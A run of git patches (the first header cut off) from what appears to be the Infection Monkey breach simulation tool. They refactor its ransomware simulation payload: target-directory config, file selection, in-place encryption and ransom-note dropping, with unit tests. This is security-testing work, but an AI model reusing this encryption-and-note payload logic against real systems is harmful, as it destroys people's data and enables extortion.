Jul 2021 10:05:34 -0400 Subject: [PATCH 11/16] Agent: Add RannsomwareConfig class --- .../ransomware/ransomware_config.py | 25 +++++++ .../ransomware/test_ransomware_config.py | 73 +++++++++++++++++++ 2 files changed, 98 insertions(+) create mode 100644 monkey/infection_monkey/ransomware/ransomware_config.py create mode 100644 monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_config.py diff --git a/monkey/infection_monkey/ransomware/ransomware_config.py b/monkey/infection_monkey/ransomware/ransomware_config.py new file mode 100644 index 000000000..26805c47c --- /dev/null +++ b/monkey/infection_monkey/ransomware/ransomware_config.py @@ -0,0 +1,25 @@ +import logging + +from common.utils.file_utils import InvalidPath, expand_path +from infection_monkey.utils.environment import is_windows_os + +LOG = logging.getLogger(__name__) + + +class RansomwareConfig: + def __init__(self, config: dict): + self.encryption_enabled = config["encryption"]["enabled"] + self.readme_enabled = config["other_behaviors"]["readme"] + self._set_target_directory(config["encryption"]["directories"]) + + def _set_target_directory(self, os_target_directories: dict): + if is_windows_os(): + target_directory = os_target_directories["windows_target_dir"] + else: + target_directory = os_target_directories["linux_target_dir"] + + try: + self.target_directory = expand_path(target_directory) + except InvalidPath as e: + LOG.debug(f"Target ransomware directory set to None: {e}") + self.target_directory = None diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_config.py b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_config.py new file mode 100644 index 000000000..141186f18 --- /dev/null +++ b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_config.py @@ -0,0 +1,73 @@ +from pathlib import Path + +import pytest +from tests.utils import raise_ + +from common.utils.file_utils import InvalidPath +from infection_monkey.ransomware import ransomware_config +from infection_monkey.ransomware.ransomware_config import RansomwareConfig + +LINUX_DIR = "/tmp/test" +WINDOWS_DIR = "C:\\tmp\\test" + + +@pytest.fixture +def config_from_island(): + return { + "encryption": { + "enabled": None, + "directories": { + "linux_target_dir": LINUX_DIR, + "windows_target_dir": WINDOWS_DIR, + }, + }, + "other_behaviors": {"readme": None}, + } + + +@pytest.mark.parametrize("enabled", [True, False]) +def test_encryption_enabled(enabled, config_from_island): + config_from_island["encryption"]["enabled"] = enabled + config = RansomwareConfig(config_from_island) + + assert config.encryption_enabled == enabled + + +@pytest.mark.parametrize("enabled", [True, False]) +def test_readme_enabled(enabled, config_from_island): + config_from_island["other_behaviors"]["readme"] = enabled + config = RansomwareConfig(config_from_island) + + assert config.readme_enabled == enabled + + +def test_linux_target_dir(monkeypatch, config_from_island): + monkeypatch.setattr(ransomware_config, "is_windows_os", lambda: False) + + config = RansomwareConfig(config_from_island) + assert config.target_directory == Path(LINUX_DIR) + + +def test_windows_target_dir(monkeypatch, config_from_island): + monkeypatch.setattr(ransomware_config, "is_windows_os", lambda: True) + + config = RansomwareConfig(config_from_island) + assert config.target_directory == Path(WINDOWS_DIR) + + +def test_env_variables_in_target_dir_resolved(config_from_island, patched_home_env, tmp_path): + path_with_env_variable = "$HOME/ransomware_target" + + config_from_island["encryption"]["directories"]["linux_target_dir"] = config_from_island[ + "encryption" + ]["directories"]["windows_target_dir"] = path_with_env_variable + + config = RansomwareConfig(config_from_island) + assert config.target_directory == patched_home_env / "ransomware_target" + + +def test_target_dir_is_none(monkeypatch, config_from_island): + monkeypatch.setattr(ransomware_config, "expand_path", lambda _: raise_(InvalidPath("invalid"))) + + config = RansomwareConfig(config_from_island) + assert config.target_directory is None From 9044c587a67b87fe71ca1aa7af7441078c7925a4 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 15 Jul 2021 11:26:02 -0400 Subject: [PATCH 12/16] Agent: Pass a RansomwareConfig to RansomwarePayload Rather than RansomwarePayload being responsible fro translating the config dictionary into something usable, it now just accepts a RansomwareConfig object which contains pre-processed configuration options. --- .../ransomware/ransomware_payload.py | 41 +++------ .../ransomware/ransomware_payload_builder.py | 19 +++- .../ransomware/test_ransomware_payload.py | 86 ++++++++----------- 3 files changed, 62 insertions(+), 84 deletions(-) diff --git a/monkey/infection_monkey/ransomware/ransomware_payload.py b/monkey/infection_monkey/ransomware/ransomware_payload.py index 32530b287..27cd6dca1 100644 --- a/monkey/infection_monkey/ransomware/ransomware_payload.py +++ b/monkey/infection_monkey/ransomware/ransomware_payload.py @@ -1,12 +1,10 @@ import logging from pathlib import Path -from pprint import pformat from typing import Callable, List -from common.utils.file_utils import InvalidPath, expand_path +from infection_monkey.ransomware.ransomware_config import RansomwareConfig from infection_monkey.telemetry.file_encryption_telem import FileEncryptionTelem from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger -from infection_monkey.utils.environment import is_windows_os LOG = logging.getLogger(__name__) @@ -17,57 +15,38 @@ README_DEST = "README.txt" class RansomwarePayload: def __init__( self, - config: dict, + config: RansomwareConfig, encrypt_file: Callable[[Path], None], select_files: Callable[[Path], List[Path]], leave_readme: Callable[[Path, Path], None], telemetry_messenger: ITelemetryMessenger, ): - LOG.debug(f"Ransomware payload configuration:\n{pformat(config)}") - - self._encryption_enabled = config["encryption"]["enabled"] - self._readme_enabled = config["other_behaviors"]["readme"] - - self._target_dir = RansomwarePayload.get_target_dir(config) + self._config = config self._encrypt_file = encrypt_file self._select_files = select_files self._leave_readme = leave_readme self._telemetry_messenger = telemetry_messenger - @staticmethod - def get_target_dir(config: dict): - target_directories = config["encryption"]["directories"] - if is_windows_os(): - target_dir_field = target_directories["windows_target_dir"] - else: - target_dir_field = target_directories["linux_target_dir"] - - try: - return expand_path(target_dir_field) - except InvalidPath as e: - LOG.debug(f"Target ransomware dir set to None: {e}") - return None - def run_payload(self): - if not self._target_dir: + if not self._config.target_directory: return LOG.info("Running ransomware payload") - if self._encryption_enabled: + if self._config.encryption_enabled: file_list = self._find_files() self._encrypt_files(file_list) - if self._readme_enabled: - self._leave_readme(README_SRC, self._target_dir / README_DEST) + if self._config.readme_enabled: + self._leave_readme(README_SRC, self._config.target_directory / README_DEST) def _find_files(self) -> List[Path]: - LOG.info(f"Collecting files in {self._target_dir}") - return sorted(self._select_files(self._target_dir)) + LOG.info(f"Collecting files in {self._config.target_directory}") + return sorted(self._select_files(self._config.target_directory)) def _encrypt_files(self, file_list: List[Path]): - LOG.info(f"Encrypting files in {self._target_dir}") + LOG.info(f"Encrypting files in {self._config.target_directory}") for filepath in file_list: try: diff --git a/monkey/infection_monkey/ransomware/ransomware_payload_builder.py b/monkey/infection_monkey/ransomware/ransomware_payload_builder.py index 28770668d..4b13b4082 100644 --- a/monkey/infection_monkey/ransomware/ransomware_payload_builder.py +++ b/monkey/infection_monkey/ransomware/ransomware_payload_builder.py @@ -1,6 +1,10 @@ -from infection_monkey.ransomware import readme_utils +import logging +from pprint import pformat + +from infection_monkey.ransomware import ransomware_payload, readme_utils from infection_monkey.ransomware.file_selectors import ProductionSafeTargetFileSelector from infection_monkey.ransomware.in_place_file_encryptor import InPlaceFileEncryptor +from infection_monkey.ransomware.ransomware_config import RansomwareConfig from infection_monkey.ransomware.ransomware_payload import RansomwarePayload from infection_monkey.ransomware.targeted_file_extensions import TARGETED_FILE_EXTENSIONS from infection_monkey.telemetry.messengers.batching_telemetry_messenger import ( @@ -14,14 +18,23 @@ from infection_monkey.utils.bit_manipulators import flip_bits EXTENSION = ".m0nk3y" CHUNK_SIZE = 4096 * 24 +LOG = logging.getLogger(__name__) + def build_ransomware_payload(config: dict): + LOG.debug(f"Ransomware payload configuration:\n{pformat(config)}") + ransomware_config = RansomwareConfig(config) + file_encryptor = _build_file_encryptor() file_selector = _build_file_selector() telemetry_messenger = _build_telemetry_messenger() return RansomwarePayload( - config, file_encryptor, file_selector, readme_utils.leave_readme, telemetry_messenger + ransomware_config, + file_encryptor, + file_selector, + readme_utils.leave_readme, + telemetry_messenger, ) @@ -33,7 +46,7 @@ def _build_file_encryptor(): def _build_file_selector(): targeted_file_extensions = TARGETED_FILE_EXTENSIONS.copy() - targeted_file_extensions.discard(EXTENSION) + targeted_file_extensions.discard(ransomware_payload.EXTENSION) return ProductionSafeTargetFileSelector(targeted_file_extensions) diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py index ca52bef5c..118ba8a27 100644 --- a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py +++ b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py @@ -7,6 +7,7 @@ from tests.unit_tests.infection_monkey.ransomware.ransomware_target_files import TEST_KEYBOARD_TXT, ) +from infection_monkey.ransomware.ransomware_config import RansomwareConfig from infection_monkey.ransomware.ransomware_payload import ( README_DEST, README_SRC, @@ -14,20 +15,6 @@ from infection_monkey.ransomware.ransomware_payload import ( ) -@pytest.fixture -def ransomware_payload_config(ransomware_target): - return { - "encryption": { - "enabled": True, - "directories": { - "linux_target_dir": str(ransomware_target), - "windows_target_dir": str(ransomware_target), - }, - }, - "other_behaviors": {"readme": False}, - } - - @pytest.fixture def ransomware_payload(build_ransomware_payload, ransomware_payload_config): return build_ransomware_payload(ransomware_payload_config) @@ -50,15 +37,26 @@ def build_ransomware_payload( @pytest.fixture -def mock_file_encryptor(ransomware_target): +def ransomware_payload_config(ransomware_test_data): + class RansomwareConfigStub(RansomwareConfig): + def __init__(self, encryption_enabled, readme_enabled, target_directory): + self.encryption_enabled = encryption_enabled + self.readme_enabled = readme_enabled + self.target_directory = target_directory + + return RansomwareConfigStub(True, False, ransomware_test_data) + + +@pytest.fixture +def mock_file_encryptor(): return MagicMock() @pytest.fixture -def mock_file_selector(ransomware_target): +def mock_file_selector(ransomware_test_data): selected_files = [ - ransomware_target / ALL_ZEROS_PDF, - ransomware_target / TEST_KEYBOARD_TXT, + ransomware_test_data / ALL_ZEROS_PDF, + ransomware_test_data / TEST_KEYBOARD_TXT, ] return MagicMock(return_value=selected_files) @@ -68,37 +66,29 @@ def mock_leave_readme(): return MagicMock() -def test_env_variables_in_target_dir_resolved_linux( +def test_files_selected_from_target_dir( + ransomware_payload, ransomware_payload_config, - build_ransomware_payload, - ransomware_target, - patched_home_env, mock_file_selector, ): - path_with_env_variable = "$HOME/ransomware_target" - - ransomware_payload_config["encryption"]["directories"][ - "linux_target_dir" - ] = ransomware_payload_config["encryption"]["directories"][ - "windows_target_dir" - ] = path_with_env_variable - build_ransomware_payload(ransomware_payload_config).run_payload() - - mock_file_selector.assert_called_with(ransomware_target) + ransomware_payload.run_payload() + mock_file_selector.assert_called_with(ransomware_payload_config.target_directory) -def test_all_selected_files_encrypted(ransomware_target, ransomware_payload, mock_file_encryptor): +def test_all_selected_files_encrypted( + ransomware_test_data, ransomware_payload, mock_file_encryptor +): ransomware_payload.run_payload() assert mock_file_encryptor.call_count == 2 - mock_file_encryptor.assert_any_call(ransomware_target / ALL_ZEROS_PDF) - mock_file_encryptor.assert_any_call(ransomware_target / TEST_KEYBOARD_TXT) + mock_file_encryptor.assert_any_call(ransomware_test_data / ALL_ZEROS_PDF) + mock_file_encryptor.assert_any_call(ransomware_test_data / TEST_KEYBOARD_TXT) def test_encryption_skipped_if_configured_false( - build_ransomware_payload, ransomware_payload_config, ransomware_target, mock_file_encryptor + build_ransomware_payload, ransomware_payload_config, mock_file_encryptor ): - ransomware_payload_config["encryption"]["enabled"] = False + ransomware_payload_config.encryption_enabled = False ransomware_payload = build_ransomware_payload(ransomware_payload_config) ransomware_payload.run_payload() @@ -109,9 +99,8 @@ def test_encryption_skipped_if_configured_false( def test_encryption_skipped_if_no_directory( build_ransomware_payload, ransomware_payload_config, mock_file_encryptor ): - ransomware_payload_config["encryption"]["enabled"] = True - ransomware_payload_config["encryption"]["directories"]["linux_target_dir"] = "" - ransomware_payload_config["encryption"]["directories"]["windows_target_dir"] = "" + ransomware_payload_config.encryption_enabled = True + ransomware_payload_config.target_directory = None ransomware_payload = build_ransomware_payload(ransomware_payload_config) ransomware_payload.run_payload() @@ -158,10 +147,8 @@ def test_telemetry_failure( assert "No such file or directory" in telem.get_data()["files"][0]["error"] -def test_readme_false( - build_ransomware_payload, ransomware_payload_config, mock_leave_readme, ransomware_target -): - ransomware_payload_config["other_behaviors"]["readme"] = False +def test_readme_false(build_ransomware_payload, ransomware_payload_config, mock_leave_readme): + ransomware_payload_config.readme_enabled = False ransomware_payload = build_ransomware_payload(ransomware_payload_config) ransomware_payload.run_payload() @@ -169,21 +156,20 @@ def test_readme_false( def test_readme_true( - build_ransomware_payload, ransomware_payload_config, mock_leave_readme, ransomware_target + build_ransomware_payload, ransomware_payload_config, mock_leave_readme, ransomware_test_data ): - ransomware_payload_config["other_behaviors"]["readme"] = True + ransomware_payload_config.readme_enabled = True ransomware_payload = build_ransomware_payload(ransomware_payload_config) ransomware_payload.run_payload() - mock_leave_readme.assert_called_with(README_SRC, ransomware_target / README_DEST) + mock_leave_readme.assert_called_with(README_SRC, ransomware_test_data / README_DEST) def test_no_readme_if_no_directory( build_ransomware_payload, ransomware_payload_config, mock_leave_readme ): - ransomware_payload_config["encryption"]["directories"]["linux_target_dir"] = "" - ransomware_payload_config["encryption"]["directories"]["windows_target_dir"] = "" - ransomware_payload_config["other_behaviors"]["readme"] = True + ransomware_payload_config.target_directory = None + ransomware_payload_config.readme_enabled = True ransomware_payload = build_ransomware_payload(ransomware_payload_config) From 8ae41907ba2261866cdbecd69ee2b982b7b4493d Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 15 Jul 2021 11:29:54 -0400 Subject: [PATCH 13/16] Tests: Remove accidental print() from test_file_selectors --- .../infection_monkey/ransomware/test_file_selectors.py | 1 - 1 file changed, 1 deletion(-) diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/test_file_selectors.py b/monkey/tests/unit_tests/infection_monkey/ransomware/test_file_selectors.py index 56421be3e..fd9489837 100644 --- a/monkey/tests/unit_tests/infection_monkey/ransomware/test_file_selectors.py +++ b/monkey/tests/unit_tests/infection_monkey/ransomware/test_file_selectors.py @@ -23,7 +23,6 @@ def file_selector(): def test_select_targeted_files_only(ransomware_test_data, file_selector): selected_files = file_selector(ransomware_test_data) - print(ransomware_test_data) assert len(selected_files) == 2 assert (ransomware_test_data / ALL_ZEROS_PDF) in selected_files From 7966703f63b4f6b9c5b7021a826ec84b4cfc3b95 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 15 Jul 2021 11:35:05 -0400 Subject: [PATCH 14/16] Agent: Rename readme_utils to readme_dropper --- .../ransomware/ransomware_payload_builder.py | 9 +++++++-- .../ransomware/{readme_utils.py => readme_dropper.py} | 0 .../{test_readme_utils.py => test_readme_dropper.py} | 2 +- 3 files changed, 8 insertions(+), 3 deletions(-) rename monkey/infection_monkey/ransomware/{readme_utils.py => readme_dropper.py} (100%) rename monkey/tests/unit_tests/infection_monkey/ransomware/{test_readme_utils.py => test_readme_dropper.py} (91%) diff --git a/monkey/infection_monkey/ransomware/ransomware_payload_builder.py b/monkey/infection_monkey/ransomware/ransomware_payload_builder.py index 4b13b4082..187f1e412 100644 --- a/monkey/infection_monkey/ransomware/ransomware_payload_builder.py +++ b/monkey/infection_monkey/ransomware/ransomware_payload_builder.py @@ -1,7 +1,7 @@ import logging from pprint import pformat -from infection_monkey.ransomware import ransomware_payload, readme_utils +from infection_monkey.ransomware import ransomware_payload, readme_dropper from infection_monkey.ransomware.file_selectors import ProductionSafeTargetFileSelector from infection_monkey.ransomware.in_place_file_encryptor import InPlaceFileEncryptor from infection_monkey.ransomware.ransomware_config import RansomwareConfig @@ -27,13 +27,14 @@ def build_ransomware_payload(config: dict): file_encryptor = _build_file_encryptor() file_selector = _build_file_selector() + leave_readme = _build_leave_readme() telemetry_messenger = _build_telemetry_messenger() return RansomwarePayload( ransomware_config, file_encryptor, file_selector, - readme_utils.leave_readme, + leave_readme, telemetry_messenger, ) @@ -51,6 +52,10 @@ def _build_file_selector(): return ProductionSafeTargetFileSelector(targeted_file_extensions) +def _build_leave_readme(): + return readme_dropper.leave_readme + + def _build_telemetry_messenger(): telemetry_messenger = LegacyTelemetryMessengerAdapter() diff --git a/monkey/infection_monkey/ransomware/readme_utils.py b/monkey/infection_monkey/ransomware/readme_dropper.py similarity index 100% rename from monkey/infection_monkey/ransomware/readme_utils.py rename to monkey/infection_monkey/ransomware/readme_dropper.py diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/test_readme_utils.py b/monkey/tests/unit_tests/infection_monkey/ransomware/test_readme_dropper.py similarity index 91% rename from monkey/tests/unit_tests/infection_monkey/ransomware/test_readme_utils.py rename to monkey/tests/unit_tests/infection_monkey/ransomware/test_readme_dropper.py index a1edf8424..17d0d953c 100644 --- a/monkey/tests/unit_tests/infection_monkey/ransomware/test_readme_utils.py +++ b/monkey/tests/unit_tests/infection_monkey/ransomware/test_readme_dropper.py @@ -1,7 +1,7 @@ import pytest from tests.utils import hash_file -from infection_monkey.ransomware.readme_utils import leave_readme +from infection_monkey.ransomware.readme_dropper import leave_readme DEST_FILE = "README.TXT" README_HASH = "c98c24b677eff44860afea6f493bbaec5bb1c4cbb209c6fc2bbb47f66ff2ad31" From 4be442f814870e6c91594131e47e2ee259c1282b Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 15 Jul 2021 11:45:58 -0400 Subject: [PATCH 15/16] Agent: Fix import error --- .../infection_monkey/ransomware/ransomware_payload_builder.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/ransomware/ransomware_payload_builder.py b/monkey/infection_monkey/ransomware/ransomware_payload_builder.py index 187f1e412..8d7e2b129 100644 --- a/monkey/infection_monkey/ransomware/ransomware_payload_builder.py +++ b/monkey/infection_monkey/ransomware/ransomware_payload_builder.py @@ -1,7 +1,7 @@ import logging from pprint import pformat -from infection_monkey.ransomware import ransomware_payload, readme_dropper +from infection_monkey.ransomware import readme_dropper from infection_monkey.ransomware.file_selectors import ProductionSafeTargetFileSelector from infection_monkey.ransomware.in_place_file_encryptor import InPlaceFileEncryptor from infection_monkey.ransomware.ransomware_config import RansomwareConfig @@ -47,7 +47,7 @@ def _build_file_encryptor(): def _build_file_selector(): targeted_file_extensions = TARGETED_FILE_EXTENSIONS.copy() - targeted_file_extensions.discard(ransomware_payload.EXTENSION) + targeted_file_extensions.discard(EXTENSION) return ProductionSafeTargetFileSelector(targeted_file_extensions) From feda0718cc8acda0578809a728530dfadc6cd98e Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 15 Jul 2021 11:52:17 -0400 Subject: [PATCH 16/16] Agent: Set default self.target_directory to None --- monkey/infection_monkey/ransomware/ransomware_config.py | 2 ++ 1 file changed, 2 insertions(+) diff --git a/monkey/infection_monkey/ransomware/ransomware_config.py b/monkey/infection_monkey/ransomware/ransomware_config.py index 26805c47c..e1b1cb2c4 100644 --- a/monkey/infection_monkey/ransomware/ransomware_config.py +++ b/monkey/infection_monkey/ransomware/ransomware_config.py @@ -10,6 +10,8 @@ class RansomwareConfig: def __init__(self, config: dict): self.encryption_enabled = config["encryption"]["enabled"] self.readme_enabled = config["other_behaviors"]["readme"] + + self.target_directory = None self._set_target_directory(config["encryption"]["directories"]) def _set_target_directory(self, os_target_directories: dict):